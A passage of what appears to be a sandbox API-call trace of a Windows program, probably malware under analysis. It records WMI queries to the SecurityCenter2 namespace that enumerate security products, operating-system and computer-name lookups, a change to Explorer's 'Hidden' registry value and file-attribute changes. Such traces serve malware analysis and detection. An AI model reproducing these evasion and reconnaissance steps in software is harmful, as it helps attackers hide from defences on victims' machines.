	[0107.537] CoMarshalInterface (pStm=0x7181a8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72d0ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0

Thread:
	id = 135
	os_tid = 0x808

	[0085.015] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0085.016] CoGetClassObject (in: rclsid=0x54200f4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e1f1b0 | out: ppv=0x5e1f1b0*=0x69bd418) returned 0x0
	[0085.016] WbemLocator:IUnknown:QueryInterface (in: This=0x69bd418, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e1f3c8 | out: ppvObject=0x5e1f3c8*=0x0) returned 0x80004002
	[0085.016] WbemLocator:IClassFactory:CreateInstance (in: This=0x69bd418, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e1f3dc | out: ppvObject=0x5e1f3dc*=0x69b0aa8) returned 0x0
	[0085.016] WbemLocator:IUnknown:Release (This=0x69bd418) returned 0x0
	[0085.016] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e1effc | out: ppvObject=0x5e1effc*=0x69b0aa8) returned 0x0
	[0085.016] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa8, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e1efb8 | out: ppvObject=0x5e1efb8*=0x0) returned 0x80004002
	[0085.016] WbemLocator:IUnknown:AddRef (This=0x69b0aa8) returned 0x3
	[0085.016] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa8, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e1e914 | out: ppvObject=0x5e1e914*=0x0) returned 0x80004002
	[0085.016] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa8, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e1e8c4 | out: ppvObject=0x5e1e8c4*=0x0) returned 0x80004002
	[0085.016] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa8, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e1e8d0 | out: ppvObject=0x5e1e8d0*=0x0) returned 0x80004002
	[0085.016] CoGetContextToken (in: pToken=0x5e1e930 | out: pToken=0x5e1e930) returned 0x0
	[0085.017] CoGetContextToken (in: pToken=0x5e1ed38 | out: pToken=0x5e1ed38) returned 0x0
	[0085.017] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa8, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e1edc8 | out: ppvObject=0x5e1edc8*=0x0) returned 0x80004002
	[0085.017] WbemLocator:IUnknown:Release (This=0x69b0aa8) returned 0x2
	[0085.017] WbemLocator:IUnknown:Release (This=0x69b0aa8) returned 0x1
	[0085.017] CoGetContextToken (in: pToken=0x5e1f3a8 | out: pToken=0x5e1f3a8) returned 0x0
	[0085.017] CoGetContextToken (in: pToken=0x5e1f308 | out: pToken=0x5e1f308) returned 0x0
	[0085.017] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa8, riid=0x5e1f3d8*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e1f3d4 | out: ppvObject=0x5e1f3d4*=0x69b0aa8) returned 0x0
	[0085.017] WbemLocator:IUnknown:AddRef (This=0x69b0aa8) returned 0x3
	[0085.017] WbemLocator:IUnknown:Release (This=0x69b0aa8) returned 0x2
	[0085.017] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bc940, puCount=0x5e1f56c | out: puCount=0x5e1f56c*=0x2) returned 0x0
	[0085.017] WbemDefPath:IWbemPath:GetText (in: This=0x69bc940, lFlags=8, puBuffLength=0x5e1f568*=0x0, pszText=0x0 | out: puBuffLength=0x5e1f568*=0x1f, pszText=0x0) returned 0x0
	[0085.017] WbemDefPath:IWbemPath:GetText (in: This=0x69bc940, lFlags=8, puBuffLength=0x5e1f568*=0x1f, pszText="000000000000000000000000000000" | out: puBuffLength=0x5e1f568*=0x1f, pszText="\\\\YKYD69Q\\root\\SecurityCenter2") returned 0x0
	[0085.017] CoCreateInstance (in: rclsid=0x73be1284*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73be12e4*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5e1f424 | out: ppv=0x5e1f424*=0x69bd430) returned 0x0
	[0085.017] WbemLocator:IWbemLocator:ConnectServer (in: This=0x69bd430, strNetworkResource="\\\\YKYD69Q\\root\\SecurityCenter2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x5e1f4d8 | out: ppNamespace=0x5e1f4d8*=0x69bd55c) returned 0x0
	[0085.023] IUnknown:QueryInterface (in: This=0x69bd55c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e1f354 | out: ppvObject=0x5e1f354*=0x72ca3c) returned 0x0
	[0085.023] IClientSecurity:QueryBlanket (in: This=0x72ca3c, pProxy=0x69bd55c, pAuthnSvc=0x5e1f3a4, pAuthzSvc=0x5e1f3a0, pServerPrincName=0x5e1f398, pAuthnLevel=0x5e1f39c, pImpLevel=0x5e1f38c, pAuthInfo=0x5e1f390, pCapabilites=0x5e1f394 | out: pAuthnSvc=0x5e1f3a4*=0xa, pAuthzSvc=0x5e1f3a0*=0x0, pServerPrincName=0x5e1f398, pAuthnLevel=0x5e1f39c*=0x6, pImpLevel=0x5e1f38c*=0x2, pAuthInfo=0x5e1f390, pCapabilites=0x5e1f394*=0x1) returned 0x0
	[0085.023] IUnknown:Release (This=0x72ca3c) returned 0x1
	[0085.023] IUnknown:QueryInterface (in: This=0x69bd55c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e1f348 | out: ppvObject=0x5e1f348*=0x72ca5c) returned 0x0
	[0085.023] IUnknown:QueryInterface (in: This=0x69bd55c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e1f344 | out: ppvObject=0x5e1f344*=0x72ca3c) returned 0x0
	[0085.023] IClientSecurity:SetBlanket (This=0x72ca3c, pProxy=0x69bd55c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0085.023] IUnknown:Release (This=0x72ca3c) returned 0x2
	[0085.023] IUnknown:Release (This=0x72ca5c) returned 0x1
	[0085.023] CoTaskMemFree (pv=0x5420328) 
	[0085.023] WbemLocator:IUnknown:Release (This=0x69bd430) returned 0x0
	[0085.023] IUnknown:QueryInterface (in: This=0x69bd55c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e1ef44 | out: ppvObject=0x5e1ef44*=0x72ca5c) returned 0x0
	[0085.023] IUnknown:QueryInterface (in: This=0x72ca5c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e1ef00 | out: ppvObject=0x5e1ef00*=0x0) returned 0x80004002
	[0085.024] IUnknown:QueryInterface (in: This=0x72ca5c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e1ed1c | out: ppvObject=0x5e1ed1c*=0x0) returned 0x80004002
	[0085.024] IUnknown:AddRef (This=0x72ca5c) returned 0x3
	[0085.024] IUnknown:QueryInterface (in: This=0x72ca5c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e1e85c | out: ppvObject=0x5e1e85c*=0x0) returned 0x80004002
	[0085.024] IUnknown:QueryInterface (in: This=0x72ca5c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e1e80c | out: ppvObject=0x5e1e80c*=0x0) returned 0x80004002
	[0085.024] IUnknown:QueryInterface (in: This=0x72ca5c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e1e818 | out: ppvObject=0x5e1e818*=0x72c9bc) returned 0x0
	[0085.024] IMarshal:GetUnmarshalClass (in: This=0x72c9bc, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e1e820 | out: pCid=0x5e1e820*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.024] IUnknown:Release (This=0x72c9bc) returned 0x3
	[0085.024] CoGetContextToken (in: pToken=0x5e1e878 | out: pToken=0x5e1e878) returned 0x0
	[0085.024] CoGetContextToken (in: pToken=0x5e1ec80 | out: pToken=0x5e1ec80) returned 0x0
	[0085.024] IUnknown:QueryInterface (in: This=0x72ca5c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e1ed10 | out: ppvObject=0x5e1ed10*=0x72ca44) returned 0x0
	[0085.024] IRpcOptions:Query (in: This=0x72ca44, pPrx=0x72ca5c, dwProperty=2, pdwValue=0x5e1ed38 | out: pdwValue=0x5e1ed38) returned 0x80004002
	[0085.024] IUnknown:Release (This=0x72ca44) returned 0x3
	[0085.025] IUnknown:Release (This=0x72ca5c) returned 0x2
	[0085.025] CoGetContextToken (in: pToken=0x5e1f258 | out: pToken=0x5e1f258) returned 0x0
	[0085.025] CoGetContextToken (in: pToken=0x5e1f1b8 | out: pToken=0x5e1f1b8) returned 0x0
	[0085.025] IUnknown:QueryInterface (in: This=0x72ca5c, riid=0x5e1f288*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5e1f284 | out: ppvObject=0x5e1f284*=0x69bd55c) returned 0x0
	[0085.025] IUnknown:AddRef (This=0x69bd55c) returned 0x4
	[0085.025] IUnknown:Release (This=0x69bd55c) returned 0x3
	[0085.025] IUnknown:Release (This=0x69bd55c) returned 0x2
	[0085.025] SysStringLen (param_1=0x0) returned 0x0
	[0085.025] CoUninitialize () 

Thread:
	id = 136
	os_tid = 0x818


Thread:
	id = 137
	os_tid = 0x828

	[0085.045] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0085.049] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6bf14c*=0x554, lpdwindex=0x69af51c | out: lpdwindex=0x69af51c) returned 0x0
	[0085.052] CoGetContextToken (in: pToken=0x69af700 | out: pToken=0x69af700) returned 0x0
	[0085.052] CoUninitialize () 

Thread:
	id = 138
	os_tid = 0x838

	[0085.054] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0085.073] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x6bbf364 | out: phkResult=0x6bbf364*=0x588) returned 0x0
	[0085.073] RegQueryValueExW (in: hKey=0x588, lpValueName="Hidden", lpReserved=0x0, lpType=0x6bbf3bc, lpData=0x0, lpcbData=0x6bbf3b8*=0x0 | out: lpType=0x6bbf3bc*=0x4, lpData=0x0, lpcbData=0x6bbf3b8*=0x4) returned 0x0
	[0085.073] RegSetValueExW (in: hKey=0x588, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x6bbf3d8*=0x1, cbData=0x4 | out: lpData=0x6bbf3d8*=0x1) returned 0x0
	[0085.073] RegCloseKey (hKey=0x588) returned 0x0
	[0085.136] GetFullPathNameW (in: lpFileName="26", nBufferLength=0x105, lpBuffer=0x6bbef28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\26", lpFilePart=0x0) returned 0x16
	[0085.170] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\26", nBufferLength=0x105, lpBuffer=0x6bbeeb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\26", lpFilePart=0x0) returned 0x16
	[0085.176] SetFileAttributesW (lpFileName="C:\\Windows\\system32\\26", dwFileAttributes=0x80) returned 0
	[0085.258] GetFullPathNameW (in: lpFileName="28", nBufferLength=0x105, lpBuffer=0x6bbef28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\28", lpFilePart=0x0) returned 0x16
	[0085.258] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\28", nBufferLength=0x105, lpBuffer=0x6bbeeb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\28", lpFilePart=0x0) returned 0x16
	[0085.258] SetFileAttributesW (lpFileName="C:\\Windows\\system32\\28", dwFileAttributes=0x80) returned 0
	[0085.259] CoTaskMemAlloc (cb=0x20c) returned 0x74ba38
	[0085.259] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x74ba38 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25
	[0085.259] CoTaskMemFree (pv=0x74ba38) 
	[0085.259] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x6bbef78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25
	[0085.259] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x6bbef28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25
	[0085.259] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x6bbeeb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25
	[0085.259] SetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", dwFileAttributes=0x80) returned 1
	[0085.259] CoGetContextToken (in: pToken=0x6bbf830 | out: pToken=0x6bbf830) returned 0x0
	[0085.259] CoUninitialize () 

Thread:
	id = 139
	os_tid = 0x848

	[0085.064] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0085.460] GetComputerNameW (in: lpBuffer=0x6d4f26c, nSize=0x6d4f4e4 | out: lpBuffer="YKYD69Q", nSize=0x6d4f4e4) returned 1
	[0085.468] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5d8
	[0085.468] SetEvent (hEvent=0x480) returned 1
	[0085.468] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6d4f3e8*=0x5d8, lpdwindex=0x6d4f204 | out: lpdwindex=0x6d4f204) returned 0x0
	[0085.470] CoGetContextToken (in: pToken=0x6d4f2b8 | out: pToken=0x6d4f2b8) returned 0x0
	[0085.470] CoGetContextToken (in: pToken=0x6d4f218 | out: pToken=0x6d4f218) returned 0x0
	[0085.470] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd480, riid=0x6d4f2e8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x6d4f2e4 | out: ppvObject=0x6d4f2e4*=0x69bd480) returned 0x0
	[0085.470] WbemDefPath:IUnknown:AddRef (This=0x69bd480) returned 0x3
	[0085.470] WbemDefPath:IUnknown:Release (This=0x69bd480) returned 0x2
	[0085.470] WbemDefPath:IWbemPath:SetText (This=0x69bd480, uMode=0x4, pszPath="Win32_OperatingSystem") returned 0x0
	[0085.470] WbemDefPath:IWbemPath:GetInfo (in: This=0x69bd480, uRequestedInfo=0x0, puResponse=0x6d4f494 | out: puResponse=0x6d4f494*=0xc15) returned 0x0
	[0085.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd480, puCount=0x6d4f48c | out: puCount=0x6d4f48c*=0x0) returned 0x0
	[0085.471] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5e8
	[0085.471] SetEvent (hEvent=0x480) returned 1
	[0085.471] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6d4ecec*=0x5e8, lpdwindex=0x6d4eb0c | out: lpdwindex=0x6d4eb0c) returned 0x0
	[0085.472] CoGetContextToken (in: pToken=0x6d4ebb8 | out: pToken=0x6d4ebb8) returned 0x0
	[0085.472] CoGetContextToken (in: pToken=0x6d4eb18 | out: pToken=0x6d4eb18) returned 0x0
	[0085.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd6f8, riid=0x6d4ebe8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x6d4ebe4 | out: ppvObject=0x6d4ebe4*=0x69bd6f8) returned 0x0
	[0085.472] WbemDefPath:IUnknown:AddRef (This=0x69bd6f8) returned 0x3
	[0085.472] WbemDefPath:IUnknown:Release (This=0x69bd6f8) returned 0x2
	[0085.472] WbemDefPath:IWbemPath:SetText (This=0x69bd6f8, uMode=0x4, pszPath="//./root/cimv2") returned 0x0
	[0085.473] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x6d4f464 | out: puCount=0x6d4f464*=0x2) returned 0x0
	[0085.473] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6d4f460*=0x0, pszText=0x0 | out: puBuffLength=0x6d4f460*=0xf, pszText=0x0) returned 0x0
	[0085.473] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6d4f460*=0xf, pszText="00000000000000" | out: puBuffLength=0x6d4f460*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0085.478] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6d4f300*=0x5fc, lpdwindex=0x6d4f1b4 | out: lpdwindex=0x6d4f1b4) returned 0x0
	[0085.485] CoGetContextToken (in: pToken=0x6d4f0c0 | out: pToken=0x6d4f0c0) returned 0x0
	[0085.485] CoGetContextToken (in: pToken=0x6d4f068 | out: pToken=0x6d4f068) returned 0x0
	[0085.485] IUnknown:QueryInterface (in: This=0x69a158, riid=0x73553c98*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f048 | out: ppvObject=0x6d4f048*=0x69a168) returned 0x0
	[0085.485] CObjectContext::ContextCallback () returned 0x0
	[0085.486] IUnknown:Release (This=0x69a168) returned 0x1
	[0085.486] CoUnmarshalInterface (in: pStm=0x7183c8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x6d4f0b0 | out: ppv=0x6d4f0b0*=0x72ce1c) returned 0x0
	[0085.486] CoMarshalInterface (pStm=0x7183c8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72ce1c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0085.486] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4ef54 | out: ppvObject=0x6d4ef54*=0x72ce1c) returned 0x0
	[0085.486] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6d4ef10 | out: ppvObject=0x6d4ef10*=0x0) returned 0x80004002
	[0085.487] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6d4ed2c | out: ppvObject=0x6d4ed2c*=0x0) returned 0x80004002
	[0085.488] IUnknown:AddRef (This=0x72ce1c) returned 0x3
	[0085.488] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6d4e86c | out: ppvObject=0x6d4e86c*=0x0) returned 0x80004002
	[0085.488] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6d4e81c | out: ppvObject=0x6d4e81c*=0x0) returned 0x80004002
	[0085.488] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4e828 | out: ppvObject=0x6d4e828*=0x72cd7c) returned 0x0
	[0085.488] IMarshal:GetUnmarshalClass (in: This=0x72cd7c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6d4e830 | out: pCid=0x6d4e830*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.488] IUnknown:Release (This=0x72cd7c) returned 0x3
	[0085.488] CoGetContextToken (in: pToken=0x6d4e888 | out: pToken=0x6d4e888) returned 0x0
	[0085.488] IUnknown:QueryInterface (in: This=0x69a2c8, riid=0x735fd8c4*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4e84c | out: ppvObject=0x6d4e84c*=0x69a2d4) returned 0x0
	[0085.488] IComThreadingInfo:GetCurrentApartmentType (in: This=0x69a2d4, pAptType=0x6d4e890 | out: pAptType=0x6d4e890*=0) returned 0x0
	[0085.488] IUnknown:Release (This=0x69a2d4) returned 0x0
	[0085.488] CoGetObjectContext (in: riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x73383c | out: ppv=0x73383c*=0x69a2c8) returned 0x0
	[0085.488] CoGetContextToken (in: pToken=0x6d4ec90 | out: pToken=0x6d4ec90) returned 0x0
	[0085.488] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4ed20 | out: ppvObject=0x6d4ed20*=0x72ce04) returned 0x0
	[0085.489] IRpcOptions:Query (in: This=0x72ce04, pPrx=0x72ce1c, dwProperty=2, pdwValue=0x6d4ed48 | out: pdwValue=0x6d4ed48) returned 0x0
	[0085.489] IUnknown:Release (This=0x72ce04) returned 0x3
	[0085.489] IUnknown:Release (This=0x72ce1c) returned 0x2
	[0085.489] IUnknown:Release (This=0x72ce1c) returned 0x1
	[0085.489] CoGetContextToken (in: pToken=0x6d4f000 | out: pToken=0x6d4f000) returned 0x0
	[0085.489] IUnknown:AddRef (This=0x72ce1c) returned 0x2
	[0085.489] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2b8 | out: ppvObject=0x6d4f2b8*=0x72cdfc) returned 0x0
